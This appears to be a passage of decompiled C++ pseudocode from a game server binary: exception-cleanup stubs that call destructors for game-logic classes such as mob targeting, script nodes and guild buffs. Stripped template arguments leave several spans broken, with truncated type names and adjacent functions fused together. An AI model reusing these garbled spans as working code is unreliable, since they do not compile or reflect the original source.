delete(*(void **)(a1 - 68080)); } //----- (0061D630) -------------------------------------------------------- void __usercall _L168119(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061D650) -------------------------------------------------------- void __usercall _L184052(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061D670) -------------------------------------------------------- void __usercall _L178202(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0061D678) -------------------------------------------------------- void __usercall _L178203(int a1) { LuaScriptArgument::LuaArgumentNPCMenu::_LuaArgumentNPCMenu((LuaScriptArgument::LuaArgumentNPCMenu *)(a1 - 28)); } //----- (0061D690) -------------------------------------------------------- void __usercall _L179937(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061D6B0) -------------------------------------------------------- void __usercall _L183932(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (0061D6D0) -------------------------------------------------------- void __usercall _L181876(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061D6F0) -------------------------------------------------------- void __usercall _L177074(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0061D710) -------------------------------------------------------- void __usercall _L177328(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(*(TableNameCompareArgument **)(a1 - 16)); } //----- (0061D730) -------------------------------------------------------- void __usercall _L177232(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061D738) -------------------------------------------------------- void __usercall _L177233(int a1) { MobTarget_AggroClear::_MobTarget_AggroClear((MobTarget_AggroClear *)(a1 - 24)); } //----- (0061D750) -------------------------------------------------------- void __usercall _L177293(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff(*(TableNameCompareArgument **)(a1 - 20)); } //----- (0061D758) -------------------------------------------------------- void __usercall _L177294(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061D770) -------------------------------------------------------- void __usercall _L177476(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (0061D778) -------------------------------------------------------- void __usercall _L177477(int a1) { MobTarget_EnemyAnalysis::_MobTarget_EnemyAnalysis((MobTarget_EnemyAnalysis *)(a1 - 32)); } //----- (0061D790) -------------------------------------------------------- void __usercall _L177642(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0061D798) -------------------------------------------------------- void __usercall _L177643(int a1) { AxialListRandomEnemy::_AxialListRandomEnemy((AxialListRandomEnemy *)(a1 - 28)); } //----- (0061D7B0) -------------------------------------------------------- void __usercall _L177715(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0061D7B8) -------------------------------------------------------- void __usercall _L177716(int a1) { AxialListNearFriend::_AxialListNearFriend((AxialListNearFriend *)(a1 - 28)); } //----- (0061D7D0) -------------------------------------------------------- void __usercall _L177800(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0061D7D8) -------------------------------------------------------- void __usercall _L177801(int a1) { AxialListNPCTargetFind::_AxialListNPCTargetFind((AxialListNPCTargetFind *)(a1 - 28)); } //----- (0061D7F0) -------------------------------------------------------- void __usercall _L177948(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061D810) -------------------------------------------------------- void __usercall _L178717(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0061D818) -------------------------------------------------------- void __usercall _L178727(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061D830) -------------------------------------------------------- void __usercall _L178481(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061D850) -------------------------------------------------------- void __usercall _L178774(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1056)); } //----- (0061D870) -------------------------------------------------------- void __usercall _L179179(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (0061D878) -------------------------------------------------------- void __usercall _L179180(int a1) { MobTarget_EnemyAnalysisWithDisposition::_MobTarget_EnemyAnalysisWithDisposition((MobTarget_EnemyAnalysisWithDisposition *)(a1 - 32)); } //----- (0061D890) -------------------------------------------------------- void __usercall _L176650(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061D8B0) -------------------------------------------------------- void __usercall _L176911(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67908)); } //----- (0061D8D0) -------------------------------------------------------- void __usercall _L75225(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061D8F0) -------------------------------------------------------- void __usercall _L176754(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061D930) -------------------------------------------------------- void __usercall _L195119(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061D950) -------------------------------------------------------- void __usercall _L182010(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (0061D970) -------------------------------------------------------- void __usercall _L194584(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0061D990) -------------------------------------------------------- void __usercall _L182446(int a1) { _eh_vector_destructor_iterator_( *(void **)(a1 - 16), 0x10u, 50, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (0061D9B0) -------------------------------------------------------- void __usercall _L182469(int a1) { operator delete(*(void **)(a1 - 404)); } //----- (0061D9D0) -------------------------------------------------------- void __usercall _L182505(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 532)); } //----- (0061D9F0) -------------------------------------------------------- void __usercall _L182542(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 148)); } //----- (0061DA10) -------------------------------------------------------- void __usercall _L183286(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061DA30) -------------------------------------------------------- void __usercall _L183104(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0061DA50) -------------------------------------------------------- void __usercall _L183453(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 596)); } //----- (0061DA70) -------------------------------------------------------- void __usercall _L184147(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061DA90) -------------------------------------------------------- void __usercall _L184947_0(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (0061DA98) -------------------------------------------------------- void __usercall _L184948_0(int a1) { _eh_vector_destructor_iterator_( (void *)(*(_DWORD *)(a1 - 16) + 24), 0x64u, 64, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (0061DAC0) -------------------------------------------------------- void __usercall _L185532(int a1) { _eh_vector_destructor_iterator_( *(void **)(a1 - 16), 0x19B8u, 4096, (void (__thiscall *)(void *))MobRegenClass::MobBreederGroup::_MobBreederGroup); } //----- (0061DAF0) -------------------------------------------------------- void __usercall _L186738(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0061DB30) -------------------------------------------------------- void __usercall _L190667(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0061DB38) -------------------------------------------------------- void __usercall _L190693(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061DB50) -------------------------------------------------------- void __usercall _L190900(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061DB58) -------------------------------------------------------- void __usercall _L190901(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 4)); } //----- (0061DBD0) -------------------------------------------------------- void __usercall _L192790_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (0061DBD8) -------------------------------------------------------- void __usercall _L192791(int a1) { SHND::CommonData::_CommonData((ItemRandomOption::OptionTable *)(a1 - 32)); } //----- (0061DBF0) -------------------------------------------------------- void __usercall _L193289(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (0061DBF8) -------------------------------------------------------- void __usercall _L193290_0(int a1) { SHND::CommonData::_CommonData((ItemRandomOption::OptionTable *)(a1 - 32)); } //----- (0061DC10) -------------------------------------------------------- void __usercall _L194793(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 468)); } //----- (0061DC1B) -------------------------------------------------------- void __usercall _L194794(int a1) { SafePointer::_SafePointer((SafePointer *)(a1 - 476)); } //----- (0061DC30) -------------------------------------------------------- void __usercall _L175300(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061DC50) -------------------------------------------------------- void __usercall _L175356(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 36)); } //----- (0061DC70) -------------------------------------------------------- void __usercall _L175393(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0061DC90) -------------------------------------------------------- void __usercall _L175444(int a1) { List::_List(*(ItemLotAnalyser::LotAnalyser **)(a1 - 16)); } //----- (0061DCB0) -------------------------------------------------------- void __usercall _L167996(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061DCD0) -------------------------------------------------------- void __usercall _L172761(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0061DD20) -------------------------------------------------------- void __usercall _L171617(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 56)); } //----- (0061DD80) -------------------------------------------------------- void __usercall _L173609(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67844)); } //----- (0061DD8B) -------------------------------------------------------- void __usercall _L173610(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (0061DDC0) -------------------------------------------------------- void __usercall _L163730(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061DDE0) -------------------------------------------------------- void __usercall _L163764(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 56)); } //----- (0061DDE8) -------------------------------------------------------- void __usercall _L163765(int a1) { AxialListNearMobAnalyser::_AxialListNearMobAnalyser((AxialListNearMobAnalyser *)(a1 - 32)); } //----- (0061DDF0) -------------------------------------------------------- void __usercall _L163766(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 44)); } //----- (0061DE10) -------------------------------------------------------- void __usercall _L178131(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain(*(MobTacticElement::MobActionNoBrain **)(a1 - 16)); } //----- (0061DE18) -------------------------------------------------------- void __usercall _L178132(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (0061DE23) -------------------------------------------------------- void __usercall _L178133(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 12)); } //----- (0061DE40) -------------------------------------------------------- void __usercall _L182456(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061DE60) -------------------------------------------------------- void __usercall _L179479(int a1) { MobTacticElement::MobActionNoBrain::_MobActionNoBrain(*(MobTacticElement::MobActionNoBrain **)(a1 - 16)); } //----- (0061DE80) -------------------------------------------------------- void __usercall _L179497(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061DE88) -------------------------------------------------------- void __usercall _L179498(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0061DEA0) -------------------------------------------------------- void __usercall _L179684(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 284)); } //----- (0061DEC0) -------------------------------------------------------- void __usercall _L180844(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (0061DEE0) -------------------------------------------------------- void __usercall _L180228(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (0061DEE8) -------------------------------------------------------- void __usercall _L180229(int a1) { VectorClass::VectorWithLength::_VectorWithLength((VectorClass::VectorWithLength *)(a1 - 28)); } //----- (0061DF00) -------------------------------------------------------- void __usercall _L180553(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0061DF20) -------------------------------------------------------- void __usercall _L181138_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061DF40) -------------------------------------------------------- void __usercall _L182133(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 56)); } //----- (0061DF60) -------------------------------------------------------- void __usercall _L184447(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0061DFC0) -------------------------------------------------------- void __usercall _L185087_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 + 8)); } //----- (0061DFE0) -------------------------------------------------------- void __usercall _L185325_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 24)); } //----- (0061E000) -------------------------------------------------------- void __usercall _L185335_0(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { StaticVector::_StaticVector(*(StaticVector **)(a1 - 16)); } //----- (0061E040) -------------------------------------------------------- void __usercall _L185539(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (0061E048) -------------------------------------------------------- void __usercall _L185540(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (0061E050) -------------------------------------------------------- void __usercall _L185541(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (0061E058) -------------------------------------------------------- unsigned int __cdecl _L185542() { unsigned int result; // eax@1 result = _S29_5 & 0xFFFFFFFE; _S29_5 &= 0xFFFFFFFEu; return result; } //----- (0061E066) -------------------------------------------------------- void __usercall _L185543(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (0061E06E) -------------------------------------------------------- void __usercall _L185544(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 4)); } //----- (0061E080) -------------------------------------------------------- void __usercall _L163096(int a1) { MobTargetBout::_MobTargetBout(*(MobTargetNoBrain **)(a1 - 16)); } //----- (0061E0A0) -------------------------------------------------------- void __usercall _L163411(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (0061E0C0) -------------------------------------------------------- void __usercall _L163252(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061E0E0) -------------------------------------------------------- void __usercall _L176132(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061E100) -------------------------------------------------------- void __usercall _L175502(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0061E108) -------------------------------------------------------- void __usercall _L175503(int a1) { AxialListBriefExchangerAtMove::_AxialListBriefExchangerAtMove((AxialListBriefExchangerAtMove *)(a1 - 20)); } //----- (0061E120) -------------------------------------------------------- void __usercall _L175602(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0061E128) -------------------------------------------------------- void __usercall _L175603(int a1) { AxialListBriefDeleteAtMove::_AxialListBriefDeleteAtMove((AxialListBriefDeleteAtMove *)(a1 - 20)); } //----- (0061E140) -------------------------------------------------------- void __usercall _L175640(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0061E148) -------------------------------------------------------- void __usercall _L175641(int a1) { VectorClass::VectorWithLength::_VectorWithLength((VectorClass::VectorWithLength *)(a1 - 28)); } //----- (0061E160) -------------------------------------------------------- void __usercall _L175895(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0061E180) -------------------------------------------------------- void __usercall _L89522(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061E1A0) -------------------------------------------------------- void __usercall _L90833(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0061E1D0) -------------------------------------------------------- void __usercall _L92153(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 296)); } //----- (0061E1F0) -------------------------------------------------------- void __usercall _L164205(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061E210) -------------------------------------------------------- void __usercall _L176896(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (0061E218) -------------------------------------------------------- void __usercall _L176898(int a1) { LuaScriptArgument::LuaArgumentNPCMenu::_LuaArgumentNPCMenu((LuaScriptArgument::LuaArgumentNPCMenu *)(a1 - 36)); } //----- (0061E230) -------------------------------------------------------- void __usercall _L178477(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061E250) -------------------------------------------------------- void __usercall _L177715_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 556)); } //----- (0061E270) -------------------------------------------------------- void __usercall _L177576(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 92)); } //----- (0061E290) -------------------------------------------------------- void __usercall _L177834(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (0061E2B0) -------------------------------------------------------- void __usercall _L177963_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0061E2D0) -------------------------------------------------------- void __usercall _L178168(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 304)); } //----- (0061E2DB) -------------------------------------------------------- void __usercall _L178170(int a1) { LuaScriptArgument::LuaArgumentNPCMenu::_LuaArgumentNPCMenu((LuaScriptArgument::LuaArgumentNPCMenu *)(a1 - 300)); } //----- (0061E2F0) -------------------------------------------------------- void __usercall _L178277_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (0061E310) -------------------------------------------------------- void __usercall _L109110(int a1) { OptionReader::_OptionReader(*(OptionReader **)(a1 - 16)); } //----- (0061E330) -------------------------------------------------------- void __usercall _L109237(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061E350) -------------------------------------------------------- void __usercall _L109297(int a1) { operator delete(*(void **)(a1 - 148)); } //----- (0061E370) -------------------------------------------------------- void __usercall _L176244(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 240)); } //----- (0061E390) -------------------------------------------------------- void __usercall _L176498(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 64)); } //----- (0061E3B0) -------------------------------------------------------- void __usercall _L176601(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0061E3D0) -------------------------------------------------------- void __usercall _L176692(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (0061E3F0) -------------------------------------------------------- void __usercall _L177197(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061E410) -------------------------------------------------------- void __usercall _L175794(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061E430) -------------------------------------------------------- void __usercall _L176011(int a1) { List::_List(*(ItemLotAnalyser::LotAnalyser **)(a1 - 16)); } //----- (0061E450) -------------------------------------------------------- void __usercall _L175974(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061E470) -------------------------------------------------------- void __usercall _L176850(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061E490) -------------------------------------------------------- void __usercall _L167358_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061E4B0) -------------------------------------------------------- void __usercall _L166859(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 180)); } //----- (0061E4D0) -------------------------------------------------------- void __usercall _L167126(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (0061E4F0) -------------------------------------------------------- void __usercall _L167177(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 92)); } //----- (0061E4F8) -------------------------------------------------------- void __usercall _L167178(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 84)); } //----- (0061E510) -------------------------------------------------------- void __usercall _L167385(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0061E530) -------------------------------------------------------- void __usercall _L167437(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0061E550) -------------------------------------------------------- void __usercall _L167421(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061E570) -------------------------------------------------------- void __usercall _L176554(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061E590) -------------------------------------------------------- void __usercall _L175733(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0061E5B0) -------------------------------------------------------- void __usercall _L176243(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 148)); } //----- (0061E5D0) -------------------------------------------------------- void __usercall _L174868(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (0061E5F0) -------------------------------------------------------- void __usercall _L166850(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061E610) -------------------------------------------------------- void __usercall _L167343(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (0061E630) -------------------------------------------------------- void __usercall _L77144(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0061E650) -------------------------------------------------------- void __usercall _L76450(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (0061E670) -------------------------------------------------------- void __usercall _L76565(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 24)); } //----- (0061E690) -------------------------------------------------------- void __usercall _L76955(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061E6B0) -------------------------------------------------------- void __usercall _L76997(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061E6D0) -------------------------------------------------------- void __usercall _L77224(int a1) { Tracer::_Tracer(*(LinearStep **)(a1 - 16)); } //----- (0061E6F0) -------------------------------------------------------- void __usercall _L169910_0(int a1) { PineScriptReader::TokenReader::_TokenReader((PineScriptReader::TokenReader *)(a1 - 552)); } //----- (0061E710) -------------------------------------------------------- void __usercall _L170466(int a1) { std::codecvt_base::_codecvt_base(*(std::num_get > > **)(a1 - 148)); } //----- (0061E730) -------------------------------------------------------- void __usercall _L174356(int a1) { operator delete(*(void **)(a1 + 4)); } //----- (0061E750) -------------------------------------------------------- void __usercall _L183565(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator(*(PineEventScriptNode::CompareOperator **)(a1 - 16)); } //----- (0061E770) -------------------------------------------------------- void __usercall _L170867(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator(*(PineEventScriptNode::CompareOperator **)(a1 - 16)); } //----- (0061E778) -------------------------------------------------------- void __usercall _L170868(int a1) { PineEventScriptNode::Term::_Term((PineEventScriptNode::Term *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (0061E783) -------------------------------------------------------- void __usercall _L170869(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator((PineEventScriptNode::CompareOperator *)(*(_DWORD *)(a1 - 16) + 16)); } //----- (0061E7A0) -------------------------------------------------------- void __usercall _L171011(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator(*(PineEventScriptNode::CompareOperator **)(a1 - 16)); } //----- (0061E7A8) -------------------------------------------------------- void __usercall _L171012(int a1) { PineEventScriptNode::Express::_Express((PineEventScriptNode::Express *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (0061E7B3) -------------------------------------------------------- void __usercall _L171013(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator((PineEventScriptNode::CompareOperator *)(*(_DWORD *)(a1 - 16) + 288)); } //----- (0061E7D0) -------------------------------------------------------- void __usercall _L172637(int a1) { std::_Mutex::__Mutex((std::_Mutex *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (0061E7F0) -------------------------------------------------------- void __usercall _L183221(int a1) { std::_Lockit::__Lockit((std::_Lockit *)(a1 - 28)); } //----- (0061E810) -------------------------------------------------------- void __usercall _L183498(int a1) { operator delete__(*(void **)(a1 + 4)); } //----- (0061E830) -------------------------------------------------------- void __usercall _L172903_0(int a1) { std::codecvt_base::_codecvt_base(*(std::num_get > > **)(a1 - 132)); } //----- (0061E850) -------------------------------------------------------- void __usercall _L173535(int a1) { std::basic_iostream>::_basic_iostream>((std::basic_iostream > *)(*(_DWORD *)(a1 - 16) - 72)); } //----- (0061E870) -------------------------------------------------------- void __usercall _L173814(int a1) { std::basic_streambuf>::_basic_streambuf>(*(std::basic_streambuf > **)(a1 - 16)); } //----- (0061E890) -------------------------------------------------------- void __usercall _L176581(int a1) { std::basic_ostream>::_Sentry_base::__Sentry_base(*(std::basic_istream >::sentry **)(a1 - 16)); } //----- (0061E8B0) -------------------------------------------------------- void __usercall _L174155(int a1) { std::locale::_locale((std::locale *)(a1 - 20)); } //----- (0061E8D0) -------------------------------------------------------- void __usercall _L174368(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061E8F0) -------------------------------------------------------- void __usercall _L174394(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0061E910) -------------------------------------------------------- void __usercall _L174610(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator(*(PineEventScriptNode::CompareOperator **)(a1 - 16)); } //----- (0061E918) -------------------------------------------------------- void __usercall _L174611(int a1) { PineEventScriptNode::BlockName::_BlockName((PineEventScriptNode::BlockName *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (0061E930) -------------------------------------------------------- void __usercall _L174785(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator(*(PineEventScriptNode::CompareOperator **)(a1 - 16)); } //----- (0061E938) -------------------------------------------------------- void __usercall _L174786(int a1) { _eh_vector_destructor_iterator_( (void *)(*(_DWORD *)(a1 - 16) + 4), 0xCu, 64, (void (__thiscall *)(void *))PineEventScriptNode::Identify::_Identify); } //----- (0061E960) -------------------------------------------------------- void __usercall _L175021(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator(*(PineEventScriptNode::CompareOperator **)(a1 - 16)); } //----- (0061E968) -------------------------------------------------------- void __usercall _L175022(int a1) { PineEventScriptNode::Identify::_Identify((PineEventScriptNode::Identify *)(*(_DWORD *)(a1 - 16) + 36)); } //----- (0061EA00) -------------------------------------------------------- void __usercall _L178285(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator(*(PineEventScriptNode::CompareOperator **)(a1 - 24)); } //----- (0061EA08) -------------------------------------------------------- void __usercall _L178286(int a1) { PineEventScriptNode::BlockName::_BlockName((PineEventScriptNode::BlockName *)(*(_DWORD *)(a1 - 24) + 4)); } //----- (0061EA13) -------------------------------------------------------- void __usercall _L178287_0(int a1) { operator delete(*(void **)(a1 - 20)); } //----- (0061EA1E) -------------------------------------------------------- void __usercall _L178333(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (0061EA40) -------------------------------------------------------- void __usercall _L178373_0(int a1) { PineEventScriptNode::CalculateOperator::_CalculateOperator(*(PineEventScriptNode::CompareOperator **)(a1 - 16)); } //----- (0061EA48) -------------------------------------------------------- void __usercall _L178374(int a1) { PineEventScriptNode::Condition::_Condition((PineEventScriptNode::Condition *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (0061EA60) 